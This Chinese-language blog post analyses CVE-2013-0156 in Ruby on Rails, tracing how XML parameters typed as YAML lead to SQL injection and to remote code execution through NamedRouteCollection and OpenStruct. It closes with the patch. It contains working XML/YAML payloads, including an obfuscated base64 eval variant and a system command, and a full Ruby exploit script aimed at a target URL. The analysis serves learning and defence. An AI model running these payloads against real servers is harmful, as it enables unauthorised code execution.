分析下難得一見的ROR的RCE(CVE-2013-0156)
0x00 背景
關於該漏洞的詳細說明,GaRY已經在zone中的一文中說的很清楚,因此本文主要的作用是科普下ROR的知識,大牛們請止步.
簡單的說,ROR是一款基於Ruby程式語言(釣魚島是中國的,Ruby是全世界的)的敏捷Web開發框架,具有開箱即用的優點,為廣大碼畜提供了一攬子的MVC解決方案,因此在像筆者這樣的自明文藝的碼畜中流行度尚可。
然而,天下沒有免費的午餐,對安全來說尤為如此,提供的功能越多,可能出現問題的surface也就越大,終於在ROR誕生的第十個年頭出現了第一個廣為人知的RCE,也就是本文說的CVE-2013-0156。
0x01 成因(01)
為了將廣大苦逼的碼畜從解析http請求引數的無聊程式碼中解脫出來,進而以物件導向的正規化來操縱使用者提交的引數,很多Web開發框架都提供了引數的自動解析功能,以REST聞名進而喜歡在請求和響應中傳遞物件的ROR當然不會例外。簡單的說,如果我們在瀏覽器中提交如下的表單:
<form action="/clozure/test1" method="POST">
<input type="text" name="wooyun[foo]" />
<input type="text" name="wooyun[bar][pie]" />
<input type="submit" />
</form>
在我們的controller中,我們將經過ROR解析過的引數以yaml的格式dump出來:
def test1
render :text => params.to_yaml
end
會得到如下的顯示:
---| !ruby/hash:ActiveSupport::HashWithIndifferentAccess
wooyun: !ruby/hash:ActiveSupport::HashWithIndifferentAccess
foo: v1
bar: !ruby/hash:ActiveSupport::HashWithIndifferentAccess
pie: v2
controller: test
action: test1
我們可以看到,ROR自動幫我們生成了一個hash,其中第二個key(bar)對應的value還是一個巢狀hash,這樣我們就成功的向controller中注入了一個物件。
等等,這樣就注入一個物件是不是太簡單了,而且這能有啥用?CVE-2012-6496告訴我們,如果我們在程式碼中寫了類似下文的程式碼,並且我們能完全控制提交的引數的值,就會出現SQL隱碼攻擊:
User.find_by_id(params["id"])
這樣,只要我們能使引數中id對應的value是個hash,並且hash中有個叫:selection的key,我們就可以控制資料庫了。可是,我們真的完全控制id對應的value了嗎?明顯沒有,大家仔細看上面的YAML會發現,那個Hash是HashWithIndifferentAccess,它的所有key都是String,不能是像:selection這樣的Symbol,所以CVE-2012-6496的利用情況比較苛刻,除非是像poc作者提到的那樣的從cookie中傳進去帶有型別是Symbol的key的hash,一般情況下不會出現該注入漏洞。
0x02 成因(02)
就在我們一籌莫展的時候,CVE-2013-0156來了,它告訴我們原來ROR不止會幫我們解析類似上面那個HTML中提到的引數,還會幫我們解析其他格式的請求,如JSON、XML、YAML等。
JSON格式比較簡單,只能有些陣列、hash、字串之類的良民物件,可YAML就不同了,YAML是可以指定TAG的,透過TAG,我們可以讓ROR將引數解析成ROR中任意已經load進來的Class的物件,這個危害就大了。這也是為什麼在較高版本的ROR裡面,YAML的解析會被預設禁用掉的原因:
DEFAULT_PARSERS = {
Mime::XML => : xml_simple,
Mime::JSON => :json
}
看,沒有YAML吧?(壞笑)
然而我們不要忘了XML,xml的解析是預設開啟的,在解析xml的過程中,ROR使用瞭如下程式碼:
when : xml_simple, : xml_node
data = Hash.from_xml(request.raw_post) || {}
data.with_indifferent_access
看到data.with_indifferent_access斷了我們key的型別是Symbl的Hash物件的幻想的同時,我們繼續跟進Hash.from_xml,會看到它進而呼叫了:
def typecast_xml_value(value)
case value.class.to_s
when 'Hash'
if value['type'] == 'array'
....
...
elsif .. || (value["**content**"] &&
(value.keys.size == 1 ||value["**content**"].present?))
content = value["**content**"]
if parser = ActiveSupport::XmlMini::PARSING[value["type"]]
parser.arity == 1 ? parser.call(content) : parser.call(content, value)
else
content
end
.....
end
when 'Array'
value.map! { |i| typecast_xml_value(i) }
value.length > 1 ? value : value.first
when 'String'
value
end
end
這段程式碼筆者剛看時也沒看出有啥問題來,後來根據POC和Gary大牛的指導,才知道xml裡的node可以制訂type,而type只要在ActiveSupport::XmlMini::PARSING中,就會被解析!如果type被指定為YAML呢?答案是可以解析,這樣,我們又回到了成因(1)結束的地方,只不過這次我們不是直接吧http請求的content-type指定為application/yaml,而是指定為application/xml,同時將其中一個node的type指定為yaml。
針對上面描述的SQL隱碼攻擊,雖然我們還是沒法注入帶Symbol型別key的Hash物件(萬惡的withIndifferent),但是POC作者給出了使用SqlLiteral進行注入的思路,即我們需要提交一個如下的XML到有注入漏洞的controller
<?xml version="1.0" encoding="UTF-8"?>
<id type="yaml">
---| !ruby/string:Arel::Nodes::SqlLiteral
"1 or 1=1"
</id>
此處,YAML的TAG比較複雜:“ruby/string:Arel::Nodes::SqlLiteral”,簡單的說,此處是以string的方式解析“1 or 1=1”這個字串,也就相當於呼叫了SqlLiteral.new("1 or 1=1"),這樣就能進行廣大黑闊們最愛的SQL隱碼攻擊了。
0x03 進階
都能注入YAML物件了,還得去找個2B碼畜的程式碼來進行SQL隱碼攻擊?postmodern大牛說這簡直弱爆了,於是給出了一個RCE,因為引數解析發生在url路由之前,只要引數確實被解析了,就可以無視Controller的存在性,無視是GET還是POST,甚至無視程式碼是怎麼寫的。
簡單的說,YAML有幾種解析方式,如果以“---||||||||||| !ruby/string”為字首,後面的字串相當於傳給了建構函式,如果以“---||||||||||| !ruby/object“為字首,後面的Hash相當於設定物件的例項變數,如果以“---||||||||||| !ruby/hash”為字首,則相當於在物件上呼叫obj[key]=val,限於篇幅,讀者可以自己去看一下ROR中YAML的解析部分程式碼,此處略去。
奇葩的是,在ruby中,obj[key]=val這樣的賦值操作是有一個專門的函式"[]="來完成的,postmodern找到了在ActionDispatch::Routing::RouteSet::NamedRouteCollection的"[ ]="方法裡面有一個對key進行eval的程式碼路徑:
alias []= add
...
def add(name, route)
routes[name.to_sym] = route
define_named_route_methods(name, route)
end
def define_named_route_methods(name, route)
{:url => {:only_path => false}, :path => {:only_path => true}}\
.each do |kind, opts|
#by clozure
#require 'logger'
#Logger.new("/tmp/rails.logger").info(route)
hash = route.defaults.merge(:use_route => name).merge(opts)
define_hash_access route, name, kind, hash
define_url_helper route, name, kind, hash
end
end
def define_hash_access(route, name, kind, options)
selector = hash_access_name(name, kind)
#by clozure
#require 'logger'
#Logger.new("/tmp/rails.log").info(selector)
# We use module_eval to avoid leaks
[email protected]_eval <<-END_EVAL, **FILE**, **LINE** + 1
remove_possible_method :#{selector}
... ...
end
def hash_access_name(name, kind = :url)
:"hash_for_#{name}_#{kind}"
end
從上面的程式碼中,我們可以看到,NamedRouteCollection把"[ ] ="方法別名到了add方法,add方法進而呼叫了define_named_route_methods,最後在define_hash_access中我們看到了可愛的module_eval,在eval塊裡面,有個被替換的變數selector來自name,這樣,我們只需要巧妙構造下name就可以執行任意ruby程式碼了!
我們在rails console中做個小試驗:
[[email protected]:OOXX]$ rails c
Loading development environment (Rails 3.2.11)
1.9.3-p362 :001 >
1.9.3-p362 :001 > test = ActionDispatch::Routing::RouteSet::NamedRouteCollection.new
=> #<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x007fef2abcc7f0 @routes={}, @helpers=[], @module=#<Module:0x007fef2abcc6d8>>
1.9.3-p362 :002 > test['clozure;sleep(10);clozure'] = {}
NoMethodError: undefined method `defaults' for {}:Hash<br /><p><br />
from /Users/clozure/.rvm/gems/ruby-1.9.3-p362/gems/actionpack-3.2.11/lib/action_dispatch/routing/route_set.rb:168:in`block in define_named_route_methods'
本想sleep(10),結果不僅報錯了,也沒sleep成,看下報錯資訊,是在下面這行報錯的:
hash = route.defaults.merge(:use_route => name).merge(opts)
這個我們貌似看到過吧?是的,就在define_hash_access呼叫的上面,還有這麼一個攔路虎,它在我們的value上呼叫了defaults方法,我們的{}一無所有,怎麼會有defaults方法呢?
這時候,我們需要OpenStruct物件出場了,出於ruby的meta programming需求,當我們OpenStruct.new("foo" => "bar")時,新建立的物件就自動有了一個foo方法,其返回值是bar,當然,你可以在bar的位置寫個動態的lambda表示式,體驗一把函數語言程式設計,不過與我們的主題無關了。ok,繼續試驗:
1.9.3-p362 :003 > test = ActionDispatch::Routing::RouteSet::NamedRouteCollection.new
=> #<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x007fef2ab551a0 @routes={}, @helpers=[], @module=#<Module:0x007fef2ab55038>>
1.9.3-p362 :004 > test['clozure;sleep(10);clozure'] = OpenStruct.new("defaults" => {})
NameError: undefined local variable or method `clozure_url' for #<Module:0x007fef2ab55038>
這次程式睡足了10秒鐘,然後抱怨找不到cojzure_url變數,已經做過了我們目標的eval語句,執行程式碼成功!
現在我們的問題變成了怎麼把這個OpenStruct放到YAML裡面,我們貌似沒法在YAML裡面給物件指定建構函式的非String的引數吧?看下OpenStruct的實現程式碼,我們發現它所有的“函式名=>[email protected],這就輪到“---||||||||||| !ruby/object“字首的YAML出場了,透過他我們可以設定例項變數,這樣所有的拼圖就完整了,我們得到了如下的嗜睡的poc:
xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<bingo type='yaml'>
---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
'test; sleep(10); test' :
!ruby/object:OpenStruct
table:
:defaults: {}
</bingo>
}.strip
(後來大家發現---||||||||||| !ruby/struct可以達到與OpenStruct類似的功效,有興趣的童鞋可以研究下)
測試程式碼如下:
#!/usr/bin/env ruby
require 'ronin/network/http'
require 'ronin/ui/output'
require 'yaml'
include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers
url = ARGV[0]
# xml = %{
# <?xml version="1.0" encoding="UTF-8"?>
# <bingo type='yaml'>
# --- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
# 'test; eval(%[Y29kZSA9ICdjM2x6ZEdWdEtDZGxZMmh2SUNJeE1URWlJRDRnTDNSdGNDOW1kV05yWm5WamF5Y3AnLnVucGFjaygibTAiKS5maXJzdAppZiBSVUJZX1BMQVRGT1JNID1+IC9tc3dpbnxtaW5nd3x3aW4zMi8KaW5wID0gSU8ucG9wZW4oInJ1YnkiLCAid2IiKSByZXNjdWUgbmlsCmlmIGlucAppbnAud3JpdGUoY29kZSkKaW5wLmNsb3NlCmVuZAplbHNlCmlmICEgUHJvY2Vzcy5mb3JrKCkKZXZhbChjb2RlKSByZXNjdWUgbmlsCmVuZAplbmQ=].unpack(%[m0])[0]);' :
# !ruby/object:OpenStruct
# table:
# :defaults: {}
# </bingo>
# }.strip
# xml = %{
# <?xml version="1.0" encoding="UTF-8"?>
# <bingo type='yaml'>
# --- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
# 'test; system("touch /tmp/rails");' :
# !ruby/object:OpenStruct
# table:
# :defaults: {}
# </bingo>
# }.strip
xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<bingo type='yaml'>
--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
'test; sleep(10);' :
!ruby/object:OpenStruct
table:
:defaults: {}
</bingo>
}.strip
response = http_post(
:url => url,
:headers => {
:content_type => 'text/xml',
:\x_http_method_override => 'post'
},
:body => xml
)
print_debug "Received #{response.code} response"
puts response.code
case response.code
when '200' then print_info response.body + " ok"
when '404' then print_error "Not found"
when '500' then print response.body
end
0x04 補丁
在筆者下載到的最新版Rails中,已經做了如下處理:
def typecast_xml_value(value, disallowed_types = nil)
disallowed_types ||= DISALLOWED_XML_TYPES
case value.class.to_s
when 'Hash'
if value.include?('type') && !value['type'].is_a?(Hash) && dis\
allowed_types.include?(value['type'])
raise DisallowedType, value['type']
end
... ...
DISALLOWED_XML_TYPES = %w(symbol yaml)
這樣,xml裡面node的type不能為yaml和symbol了,也就解決了這個問題
P.S. 初次些東西,前言不搭後語,大家見諒
相關文章
- PB資料視窗難得一見的技巧2016-03-22
- 難得一見的HTML5動畫欣賞及原始碼下載2014-09-27HTML動畫原始碼
- Google也不是神話,難得一見的Google 502 Server Error2007-10-30GoServerError
- 難得的一次技術面——終得小米offer2019-06-08
- 專訪安琪拉遊戲:難得一見的國產端遊追夢團隊2020-08-04遊戲
- 推薦一篇難得的深入分析邏輯讀的好文章2011-09-10
- RoR的正確定位2007-04-26
- 難得一身好本領2024-09-06
- Java EE和RoR的牛人感慨2008-06-05Java
- N多黑酷的RoR Code2006-05-26
- vBulletin rce 0day分析2020-08-19
- Thinkphp5.0.0-5.0.18RCE分析2021-06-26PHP
- Joomla 3.4.6 RCE復現及分析2021-02-03OOM
- Sunlogin RCE漏洞分析和使用2022-02-19
- 常見的排序演算法分析(一)2020-12-21排序演算法
- 一個常見的閉包函式的分析2017-02-15函式
- ROR中h()方法和sanitize的區別2009-03-13
- 常見的Redis面試"刁難"問題,值得一看。2018-08-13Redis面試
- 難以理解的AQS(下)2019-03-31AQS
- 【智慧製造】【MES】一組難得的智慧製造和MES學習PPT!2018-02-22
- RoR 2.0 環境搭建2013-04-01
- Gartner:APP開發的遊戲變得日趨艱難2014-11-03APP遊戲
- 年底找工作,太難了!你覺得難嗎?2018-01-10
- RCE2024-04-30
- 一些常見的並且比較難解決的設計問題2015-03-03
- php的ror類似框架, 有精美的影片展示2009-02-12PHP框架
- Mac 下 Docker 執行較慢的原因分析及個人見解2020-03-12MacDocker
- 一些常見的重置密碼漏洞分析整理2020-08-19密碼
- 資料分析中常見的錯誤是什麼(一)2019-02-27
- 10個常見的Redis面試"刁難"問題2022-03-03Redis面試
- 【日記】第一次覺得 “屆く” 是一個很難的東西(1528 字)2024-11-03
- 我覺得eventbus最難實現2014-09-05
- RCE(Pikachu)2024-05-12
- 理解資料管理難題:分析型MDM(下)XG2022-03-21
- R8疑難雜症分析實戰 - 類反射篇|得物技術2024-01-18反射
- 難得的waiting for snapshot control file enqueue提示...2011-09-18AIENQ
- RCE-基於Pikachu的學習2024-05-04
- RCE漏洞常用的Payload總結2024-08-21